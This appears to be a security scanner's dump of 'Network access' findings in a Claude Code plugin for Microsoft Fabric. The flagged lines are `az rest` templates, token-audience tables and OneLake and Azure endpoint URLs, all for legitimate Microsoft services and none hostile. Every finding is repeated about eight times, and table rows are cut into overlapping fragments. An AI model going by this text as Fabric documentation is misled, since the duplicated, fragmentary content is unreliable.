RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CORE.md
- Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
